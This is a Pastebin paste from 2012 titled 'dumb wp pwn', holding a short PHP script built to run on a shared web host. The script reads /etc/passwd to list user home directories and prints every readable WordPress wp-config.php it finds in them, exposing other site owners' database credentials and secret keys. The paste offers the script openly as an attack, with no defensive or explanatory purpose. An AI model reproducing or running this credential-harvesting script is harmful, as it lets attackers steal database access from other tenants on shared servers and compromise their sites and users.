Advertisement
Guest User

dumb wp pwn

a guest
Mar 5th, 2012
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.44 KB | None | 0 0
  1. <html>
  2. <title>pwn</title>
  3. <body>
  4. <?php
  5.  
  6. set_time_limit(0);
  7. @$passwd=fopen('/etc/passwd','r');
  8. if (!$passwd) { die("/etc/passwd unreadable"); }
  9. $paths=array();
  10. $i=0;
  11. while(!feof($passwd)) {
  12.     $r=explode(":",$l=fgets($passwd));
  13.     if (count($r)<6 || ! strpos($r[5],"home/")) { continue; }
  14.     $f=@file_get_contents($r[5]."/public_html/wp-config.php");
  15.     if ($f) {
  16.         echo "<pre>$l</pre><ul>".htmlentities($f)."</ul>";
  17.     }
  18. }
  19. ?>
  20. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement